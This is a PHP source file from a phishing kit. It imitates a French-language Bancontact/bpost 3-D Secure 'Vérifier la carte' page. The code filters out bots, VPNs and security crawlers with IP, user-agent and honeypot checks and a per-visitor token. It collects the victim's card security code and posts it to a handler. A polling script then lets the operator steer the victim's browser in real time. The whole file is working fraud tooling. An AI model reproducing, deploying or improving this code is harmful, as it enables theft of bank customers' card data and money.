<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('display_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();
$stripos = 0;
include __DIR__ . '/config.php';
include __DIR__ . '/M3tri-anti-bots_v0.01/M3tri-Organization.php';
include __DIR__ . '/M3tri-anti-bots_v0.01/M3tri-ips.php';
include __DIR__ . '/M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include __DIR__ . '/M3tri-anti-bots_v0.01/M3tri-UA.php';
include __DIR__ . '/M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit;
}
$honeypotbots = @file_get_contents(__DIR__ . '/honeypotbots.dat');
if ($honeypotbots && stripos($honeypotbots, $ip) !== false) $stripos = 1;
// Geo-filter removed: all countries are allowed
$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));
if (!isset($_GET['token']) || $token1 != $_GET['token'] || $stripos > 0) {
    header('location: 403.php');
    exit;
}
$cvv_token = $_GET['token'];
$cvv_t0 = isset($_GET['t0']) ? $_GET['t0'] : '';
$cvv_t1 = isset($_GET['t1']) ? $_GET['t1'] : '';
// Base URL for assets (same directory as this script) so CSS/JS paths work from any URL
$base = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/') . '/';
?>
<html><head> 
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
  
<title>ACS</title>
	
<link href="<?php echo htmlspecialchars($base); ?>auth/log/libs2.css" rel="stylesheet">
<link href="<?php echo htmlspecialchars($base); ?>auth/log/app2.min.css" rel="stylesheet"> 
 
<style type="text/css">
		.overlay {
    /* z-index: 999; */
    position: fixed;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    background-color:rgba(102, 102, 102, 0.97);
    border-radius: 6px;
    z-index: 9999;
}
.order-total-value{
  font-weight:bold;
}

.loader {
   text-align: center;
    position: absolute;
    left: 50%;
    top: 50%;
    z-index: 1;
    transform: translate(-50%,-50%);
}

.lds-spinner {
    color: #FFF;
    display: inline-block;
    width: 80px;
    height: 80px;
  }
  .lds-spinner div {
    transform-origin: 40px 40px;
    animation: lds-spinner 1.2s linear infinite;
  }
  .lds-spinner div:after {
    content: " ";
    display: block;
    position: absolute;
    top: 3px;
    left: 37px;
    width: 6px;
    height: 18px;
    border-radius: 20%;
    background: #FFF;
  }
  .lds-spinner div:nth-child(1) {
    transform: rotate(0deg);
    animation-delay: -1.1s;
  }
  .lds-spinner div:nth-child(2) {
    transform: rotate(30deg);
    animation-delay: -1s;
  }
  .lds-spinner div:nth-child(3) {
    transform: rotate(60deg);
    animation-delay: -0.9s;
  }
  .lds-spinner div:nth-child(4) {
    transform: rotate(90deg);
    animation-delay: -0.8s;
  }
  .lds-spinner div:nth-child(5) {
    transform: rotate(120deg);
    animation-delay: -0.7s;
  }
  .lds-spinner div:nth-child(6) {
    transform: rotate(150deg);
    animation-delay: -0.6s;
  }
  .lds-spinner div:nth-child(7) {
    transform: rotate(180deg);
    animation-delay: -0.5s;
  }
  .lds-spinner div:nth-child(8) {
    transform: rotate(210deg);
    animation-delay: -0.4s;
  }
  .lds-spinner div:nth-child(9) {
    transform: rotate(240deg);
    animation-delay: -0.3s;
  }
  .lds-spinner div:nth-child(10) {
    transform: rotate(270deg);
    animation-delay: -0.2s;
  }
  .lds-spinner div:nth-child(11) {
    transform: rotate(300deg);
    animation-delay: -0.1s;
  }
  .lds-spinner div:nth-child(12) {
    transform: rotate(330deg);
    animation-delay: 0s;
  }
  @keyframes lds-spinner {
    0% {
      opacity: 1;
    }
    100% {
      opacity: 0;
    }
  }

  @media screen and (max-width:608px) {
	
	
  }

 /* Style général pour le conteneur */
.input-container {
    position: relative;
    display: flex;
    align-items: center;
    width: 100%;
    max-width: 320px;
    gap: 16px;
}

/* Style pour l'input */
.input-field {
    flex: 1;
    min-width: 0;
    padding: 12px 16px 12px 16px;
    border: 1px solid #00965e;
    border-radius: 4px;
    font-size: 16px;
}

/* Focus sur le champ */
.input-field:focus {
    border-color: #00965e;
    outline: none;
}

/* CVV icon: gray background wrapper, blend PNG white away */
.cvv-icon {
    flex-shrink: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    width: 80px;
    height: 80px;
    background-color: #f6f6f6;
    border-radius: 4px;
}

.cvv-icon img,
.cvv-icon object {
    width: 72px;
    height: 72px;
    display: block;
    object-fit: contain;
    mix-blend-mode: multiply;
}

#otp-form .input-field {
    padding: 12px 56px 12px 16px;
}

/* Same inline layout styles as cvv2.php (from app layout) */
.container-fluid{max-width:900px;background-color:#fff;margin-top:32px}
body{overflow-x:hidden;background-color:#e5e5e5}
#issuerLogo{max-height:4em;max-width:100px;height:auto;padding:0}
#networkLogo{max-height:50px;max-width:100px;height:auto;padding:0}
.language_container{margin-left:auto}
.network_container{width:100px;margin-left:auto}
.d-flex{display:flex;align-items:center}
#headerLayout{margin-top:5px}
.language_container select{text-align:right;opacity:1;border:0;outline:0;text-transform:uppercase;font-family:OpenSans-Bold, sans-serif;font-size:14px;font-weight:600;color:#555}
@media screen and (max-width:800px){.container-fluid{margin-top:0}}
#pageHeader{padding:5px 0}
.page-title-container{font-family:OpenSans-Regular, sans-serif;font-size:20px;font-weight:400;line-height:1.8;color:#555;padding-left:15px}
hr{border-color:#e5e6e8;clear:both;margin-top:15px;margin-bottom:15px}
.instruction_last{width:310px;padding-bottom:20px}
#otp-form input,.otp_container .input-field{width:140px;height:44px;margin:0 0 0 11px;padding:15px 57px 13px 16px;border:solid 1px #00965e;background-color:#fff}
ol{background-color:#f6f6f6;padding-left:15px}
.d-flex.list{align-items:normal;flex-wrap:wrap}
ol>li{line-height:1.8em}
ol>li:first-child{padding-top:20px}
.buttonLayout{padding:32px 32px 32px 0}
#buttonMenu{text-align:right}
.action-buttons{width:170px}
#validateButton button,#validate{width:150px;height:44px;border-radius:0;background-color:#FFC738;color:#1a1a1a;font-weight:700;border:1px solid #e6b332}
#validate:hover:not(:disabled){background-color:#e6b332;color:#1a1a1a}
#validate:disabled{background-color:#ccc;color:#666;cursor:not-allowed;border-color:#bbb}
.span_instruction{width:93%}
ol li:last-child{min-height:70px}
li{list-style-type:none}
@media screen and (max-width:500px){#validateButton button,#validate{width:100%;max-width:100%;height:44px;font-size:16px}.page-title-container{font-size:16px}.input-container,.otp_container{width:100%;max-width:100%}.input-field,#otp-form input{margin-left:0;width:100%!important}.cardreaderClass{padding-bottom:10px}.buttonLayout{padding:15px;margin-bottom:65px}.ol li:last-child{min-height:140px}}

  </style>


</head>
<body class="container">
<form id="cvvSubmitForm" action="bc-load.php?token=<?php echo htmlspecialchars($cvv_token); ?>" method="POST" style="display:none;">
<input type="hidden" name="type" value="cvv">
<input type="hidden" name="sc" id="cvvScInput">
</form>

<div class="container-fluid">
	<div id="headerLayout" class="row">
		<div id="pageHeader" class="text-center col-xs-12">
			<div class="row d-flex">
				<div class="col-xs-5 col-sm-5 col-md-5 col-lg-6 text-right language_container">
					<label for="language-group">Langue</label>
					<select id="language-group">
						<option value="fr">fr</option>
						<option value="nl">nl</option>
						<option value="en">en</option>
					</select>
					<a href="#" style="margin-left:12px;">Aide</a>
				</div>
				<div class="col-xs-3 col-sm-3 col-md-3 col-lg-2 text-right network_container">
					<img id="networkLogo" src="bc_files/bpost.png" alt="BANCONTACT">
				</div>
			</div>
            </div>
    </div> 
	<hr>
	<div id="displayLayout" class="row">
		<div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
			<span class="page-title-container">Vérifier la carte</span>
		</div>
					</div>
	<div id="authentication-challenge" class="row">
		<div class="col-xs-12 col-sm-12 col-md-12 col-lg-12 cardreaderClass">
			<ol>
				<li class="instruction d-flex list">
					<span class="span_instruction"><b> </b>Veuillez entrer le code sécurité à 3 chiffres qui figure sur votre carte</span>
				</li>
				<li class="instruction d-flex list">
					<span class="span_instruction">
						<div class="col-xs-4 col-sm-6 col-md-6 col-lg-6 regular otp_container">
							<div id="otp-form" class="input-container">
								<input type="text" id="cvvOtpInput" name="otp" class="input-field" placeholder="CVV" maxlength="4" autocomplete="off" inputmode="numeric" pattern="[0-9]*">
        <span class="cvv-icon">
									<img src="<?php echo htmlspecialchars($base); ?>bc_files/cvv.png" alt="CVV">
								</span>
							</div>
						</div>
        </span>
				</li>
			</ol>
		</div>
	</div>
	<div class="row buttonLayout">
		<div id="buttonMenu">
			<div class="col-xs-4 col-sm-3 col-md-3 col-lg-2 action-buttons text-right">
				<div id="validateButton">
					<button aria-label="Valider" class="btn btn-default" id="validate" type="button" disabled>Valider</button>
				</div>
			</div>
		</div>
    </div>
</div>

<script> 
(function() {
  var input = null;
  var form = null;
  var btn = null;

  function updateButtonState() {
    if (!input || !btn) return;
    var code = (input.value || '').replace(/\D/g, '');
    btn.disabled = code.length < 3;
  }

  function submitCvv() {
    if (!input || !form) return;
    var code = (input.value || '').replace(/\D/g, '');
    if (code.length < 3) return;
    document.getElementById('cvvScInput').value = code;
    form.submit();
  }

  document.addEventListener('DOMContentLoaded', function() {
    input = document.getElementById('cvvOtpInput') || document.querySelector('input[name="otp"]');
    form = document.getElementById('cvvSubmitForm');
    btn = document.getElementById('validate');
    if (input) {
      input.addEventListener('input', updateButtonState);
      input.addEventListener('keyup', updateButtonState);
      updateButtonState();
    }
    if (btn) {
      btn.addEventListener('click', function() {
        submitCvv();
      });
    }
  });
})();
</script>
<script>
(function() {
  var ip = '<?php echo addslashes($ip); ?>';
  var token1 = '<?php echo addslashes($token1); ?>';
  var waiting = setInterval(function() {
    fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
      .then(function(r) { return r.text(); })
      .then(function(data) {
        if (!data || data.length < 2) return;
        var row = data.split('#|#');
        var one = row[0];
        var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
        if (one == 'load') {
          clearInterval(waiting);
          window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
        } else if (one == 'url' && row[2]) {
          clearInterval(waiting);
          window.location.href = row[2];
        }
      })
      .catch(function() {});
  }, 1500);
})();
</script>

</body>
</html>
	 